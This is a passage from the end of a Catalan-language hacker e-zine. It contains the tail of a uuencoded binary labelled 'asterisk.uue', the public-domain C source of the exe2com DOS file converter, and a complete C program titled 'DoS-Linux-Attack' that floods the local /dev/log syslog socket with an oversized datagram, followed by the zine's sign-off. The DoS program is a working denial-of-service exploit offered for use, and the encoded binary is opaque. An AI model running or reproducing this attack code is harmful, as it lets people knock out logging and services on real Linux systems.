M^,+7HV$_A._R"!F%RM%+,T&">4U<=QMREG9*K^'+&E@.7/9YHW'93WRGO-6I
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
D``!!4U1%4DE32RY%6$502P4&``````$``0`Z````SR(`````
`
end
-----------asterisk.uue----------------
-----------exe2com.c-------------------
/*
exe2com - exe2bin replacement by Chris Dunford/Cove Software
usage: exe2com [/I] infile [outfile]
usage is the same as exe2bin except:
1. Output defaults to COM rather than BIN
2. Binary fixup option not supported
3. Checksum not verified
4. Provides more useful error messages and a warning if a
COM file is being created with initial IP != 0x100
5. /I switch provides EXE file info instead of converting
Compiler notes:
This source was written for Microsoft C version 5.0. It
should be reasonably portable. Watch out for fseek();
what it returns seems to vary widely between compilers.
To compile with MSC, use:
cl exe2com.c (no switches necessary)
We have checked that the source (as of version 1.04) compiles
without error under Turbo C 1.5. It appears to operate correctly,
but we ran only some quick tests; there may be subtle errors here.
The original version of this program was knocked together in about
an hour in response to the removal of EXE2BIN from the standard DOS
distribution disks. Improvements/corrections are encouraged, but
please try to coordinate public releases through me.
Program donated to the public domain by the author.
cjd 4/17/87
Version history
---------------
Version 1.04 03/02/88 (CJD)
Cleaned up some ugly code from the original quickie. Added
/I (info) switch. In previous versions, we defined an
error code for nonzero CS but didn't actually check it; now
we do. Source will now compile under either Microsoft C or
Turbo C.
Version 1.03 12/30/87 (CJD)
C86 version converted to Microsoft C (5.0) by Chris
Dunford. Increased size of I/O buffer to 4K to improve
speed; EXE2COM 1.03 is twice as fast as 1.02 and is now
slightly faster than EXE2BIN. The C86 version will no
longer be distributed.
Version 1.02 11/22/87
by Chris Blum (CompuServe 76625,1041)
Fix for even 512-byte boundary file losing last 512 bytes.
Also corrected signon per request of Chris Dunford (his name
was lost in the translation to Turbo C). Version 1.02
existed in both Turbo C and C86 versions, although only
the C86 executable was "officially" distributed.
Version 1.01 was a Turbo C conversion.
Version 1.00 04/17/87
Original C86 version by Chris Dunford
*/
#include <stdio.h>
#include <string.h>
#include <ctype.h>
/* Version coding */
#define MAJVER 1
#define MINVER 0
#define REVISION 4
/* Conversion error codes */
#define BADREAD 0
#define BADWRITE 1
#define BADSIG 2
#define HASRELO 3
#define HAS_SS 4
#define HAS_CS 5
#define BAD_IP 6
#define TOO_BIG 7
/* This must be the last code */
#define UNKNOWN 8
/* Define size of console output buffer */
#define CONBUFSIZ 2048
/*
** Define structure of fixed-format part of EXE file header
*/
struct exe_header {
char exe_sig[2]; /* EXE file signature: "MZ" */
unsigned excess, /* Image size mod 512 (valid bytes in last page) */
pages, /* # 512-byte pages in image */
relo_ct, /* Count of relocation table entries */
hdr_size, /* Size of header, in paragraphs */
min_mem, /* Min required memory */
max_mem, /* Max required memory */
ss, /* Stack seg offset in load module */
sp, /* Initial value of SP */
cksum, /* File checksum */
ip, /* Initial value of IP */
cs, /* CS offset in load module */
relo_start, /* Offset of first relo item */
ovl_num; /* Overlay number */
} xh;
FILE *fi, /* Input file stream */
*fo; /* Output file stream */
char fin[129], /* Input file name */
fon[129]; /* Output file name */
int info=0; /* Nonzero if /I found */
char buf[CONBUFSIZ]; /* printf I/O buffer */
char defext[] = ".com"; /* Default output extension - change if you want */
unsigned long code_start, /* Offset of program image in EXE file */
code_size; /* Size of program image, in bytes */
/* Function prototypes */
void init (unsigned, char *[]);
void read_hdr (void);
void disp_info (void);
void convert (void);
void err_xit (unsigned);
void usage (void);
/*
** program mainline
*/
main(argc, argv)
unsigned argc;
char *argv[];
{
init (argc, argv);
read_hdr ();
if (info)
disp_info ();
else
convert ();
}
/*
** Initialize - parse arguments, get filenames, open/create files
*/
void init (argc, argv)
unsigned argc;
char **argv;
{
char c, *cp;
int i;
/* Set up buffered output, display logo */
setvbuf (stdout, buf, _IOFBF, CONBUFSIZ);
printf ("exe2com %u.%u%u by Chris Dunford/The Cove Software Group\n",
MAJVER, MINVER, REVISION);
/* Get arguments */
cp = *(++argv);
for (i=1; i < argc; i++) {
while ( (cp = strchr (cp, '/')) != (char *) NULL) {
*cp++ = '\0';
c = *cp++;
switch (toupper (c)) {
case 'I':
info = 1;
break;
default:
usage ();
}
}
if (**argv)
if (fin[0] == '\0')
strcpy (fin, strlwr (*argv));
else if (fon[0] == '\0')
strcpy (fon, strlwr (*argv));
else
usage ();
cp = *(++argv);
}
/* Check to ensure that an input filename was found *.
if (fin[0] == '\0') usage ();
/* If the input file has no extension, add .EXE */
if (strchr (fin, '.') == (char *) NULL)
strcat (fin, ".exe");
/* Copy input name to output if unspecified */
if (fon[0] == '\0')
strcpy (fon, fin);
/* Check output extension--change EXE to COM, or add COM */
if ((cp = strchr (fon, '.')) == (char *) NULL)
strcat (fon, defext);
else if (strcmp (cp, ".exe") == 0)
strcpy (cp, defext);
/* Try to open input file */
if ((fi = fopen (fin, "rb")) == (FILE *) NULL) {
fprintf (stderr, "exe2com: can't find input file %s\n", fin);
exit (1);
}
/* Try to create output file, if INFO not requested */
if (!info)
if ((fo = fopen (fon, "wb")) == (FILE *) NULL) {
fprintf (stderr, "exe2com: can't open output file %s\n", fin);
exit (1);
}
}
/*
** usage display
*/
void usage (void)
{
fprintf (stderr, "usage: exe2com [/I] infile [outfile]\n");
exit (1);
}
/*
** Read and check the EXE file header
*/
void read_hdr(void)
{
char *cp;
/* Read the formatted portion of the header */
if (!fread (&xh, sizeof (struct exe_header), 1, fi))
err_xit (BADREAD);
/* Check for "MZ" signature */
if (strncmp (xh.exe_sig, "MZ", 2))
err_xit (BADSIG);
/* Compute offset of program image in module, and program size.
**
** The program size is computed as follows; it cannot exceed 64K bytes:
** 512 * (# EXE pages - 1)
** + valid bytes in last EXE page
** - offset of program image in EXE file
**
** Note that if the IP is nonzero, we will skip the first
** IP bytes of the program image, and copy IP bytes fewer
** than the actual size.
*/
code_start = ((unsigned long) xh.hdr_size) << 4;
code_size = (unsigned long) (xh.pages-1) * 512
+ (xh.excess ? xh.excess : 512) /* fixed 11/19/87 - CJB */
- code_start;
/* Don't check anything else if /I requested */
if (info) return;
/* Check header; to be convertible, must have:
** -- no relocatable items
** -- no stack segment
** -- no code segment
** -- IP == 0 or 100
** -- code size < 65536
*/
if (xh.relo_ct)
err_xit (HASRELO);
if (xh.ss || xh.sp)
err_xit (HAS_SS);
if (xh.cs)
err_xit (HAS_CS);
if (xh.ip != 0 && xh.ip != 0x100)
err_xit (BAD_IP);
if (code_size > 65536L)
err_xit (TOO_BIG);
/* Issue a warning if COM file and IP != 0x100 */
if (!strcmp (strchr (fon, '.'), ".com") && xh.ip != 0x100)
fprintf (stderr, "exe2com warning: COM file, initial IP not 100H\n");
}
/*
** /i output: display EXE file info
*/
void disp_info (void)
{
char *cp;
unsigned long k;
cp = strrchr (fin, '\\');
if (!cp) cp = strchr (fin, ':');
cp = cp ? cp++ : fin;
printf ("\n%-20s (hex) (dec)\n",cp);
k = (unsigned long) (xh.pages-1) * 512 + (xh.excess ? xh.excess : 512);
printf (" EXE file size %5lX %7lu\n", k, k);
printf (" EXE header size (para) %4X %7u\n", xh.hdr_size, xh.hdr_size);
putchar (code_size > 65536L ? '*' : ' ');
printf (" Program image size (bytes) %5lX %7lu\n", code_size, code_size);
k = (unsigned long) xh.min_mem * 16 + code_size;
printf (" Minimum load size (bytes) %5lX %7lu\n", k, k);
printf (" Min allocation (para) %4X %7u\n", xh.min_mem, xh.min_mem);
printf (" Max allocation (para) %4X %7u\n", xh.max_mem, xh.max_mem);
putchar (xh.cs || (xh.ip != 0x100) ? '*' : ' ');
printf (" Initial CS:IP %04X:%04X\n", xh.cs, xh.ip);
putchar (xh.ss || xh.sp ? '*' : ' ');
printf (" Initial SS:SP %04X:%04X %7u (stack size)\n", xh.ss, xh.sp, xh.sp);
putchar (xh.relo_ct ? '*' : ' ');
printf (" Relocation count %4X %7u\n", xh.relo_ct, xh.relo_ct);
printf (" Relo table start %04X %7u\n", xh.relo_start, xh.relo_start);
printf (" EXE file checksum %04X %7u\n", xh.cksum, xh.cksum);
printf (" Overlay number %4X %7u\n", xh.ovl_num, xh.ovl_num);
printf ("* = this item prevents conversion to BIN/COM\n");
}
/*
** Convert the file. Nothing to do, really, other than
** reading the image (which follows the header), and
** dumping it back out to disk.
*/
void convert (void)
{
#define BUFSIZE 16384
static char buffer[BUFSIZE]; /* Forces buffer out of program stack */
unsigned bsize;
/* Seek to start of program image, skipping IP bytes */
if (fseek (fi, code_start+xh.ip, 0))
err_xit (BADREAD);
/* Read blocks and copy to output */
for (code_size -= xh.ip; code_size; code_size -= bsize) {
/* Set count of bytes to read/write */
bsize = code_size > BUFSIZE ? BUFSIZE : code_size;
/* Read and write block */
if (!fread (buffer, bsize, 1, fi))
err_xit (BADREAD);
if (!fwrite (buffer, bsize, 1, fo))
err_xit (BADWRITE);
}
/* All done, close the two files */
fclose (fi);
fclose (fo);
}
/*
** Display an error message, delete output file, exit.
*/
void err_xit (code)
unsigned code;
{
static char *msg[UNKNOWN+1] = {
"error reading EXE header",
"error writing output file",
"invalid EXE file signature",
"EXE has relocatable items",
"EXE has stack segment",
"EXE has nonzero CS",
"IP not 0 or 100H",
"program exceeds 64K",
"unknown internal error"
};
if (code > UNKNOWN) code = UNKNOWN;
fprintf (stderr, "exe2com: %s, can't convert\n", msg[code]);
/* Close two files and delete partial output */
fclose (fi);
fclose (fo);
unlink (fon);
/* Exit with errorlevel 1 */
exit (1);
}
---------exe2com.c---------------
---[2]-------------[DoS-Linux-Attack]------------------------
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
char buf[128 * 1024];
int main ( int argc, char **argv )
{
struct sockaddr SyslogAddr;
int LogFile;
int bufsize = sizeof(buf)-5;
int i;
for ( i = 0; i < bufsize; i++ )
buf[i] = ' '+(i%95);
buf[i] = '\0';
SyslogAddr.sa_family = AF_UNIX;
strncpy ( SyslogAddr.sa_data, "/dev/log",
sizeof(SyslogAddr.sa_data) );
LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
sendto ( LogFile, buf, bufsize, 0, &SyslogAddr,
sizeof(SyslogAddr) );
return 0;
}
---[2]-------------[DoS-Linux-Attack]------------------------
Sexe, cervesa i truita de patates.
-Suburban Rebels
111111111111111111111111111111111111111111111111111111111111111111111111111111
000000000000000000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111111111111111111111111111111
000000000000000000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111111111111111111111111111111
$0D$
[ Acomiadament ]
Esperem que us hagi paït bé la revista i que us seguiu interessant pels temes
de seguretat informàtica. Encara esperem col·laboradors externs al grup, per
coneixer més gent i poder fer una revista de més qualitat, vinga animeu-vos,
totes les propostes seràn acceptades, podeu enviar els vostres textes i demés
a: poptph@hotmail.com i mirarem de contestar-vos tant ràpid com poguem.
Encara tenim molts projectes a mitjes i molts encomençats, però poca cosa, si
algu està interessat en fer algun projecte sobre alguna cosa en concret que
ens ho informi i mirarem de col·laborar en tot el que poguem.
Per cert... els textes els volem a 78 columnes i escrits en ANSI.
Fins a la CatHack!#005
Salut i Lluita!
.--------------------------------------------------------------.____________
| Podeu difondre aquesta revista lliurement sempre i quant no |
| sigui per criticar-nos ni hi modifiqueu el seu contingut. (chmod 444) |
`---------------------------------------------------------------------------'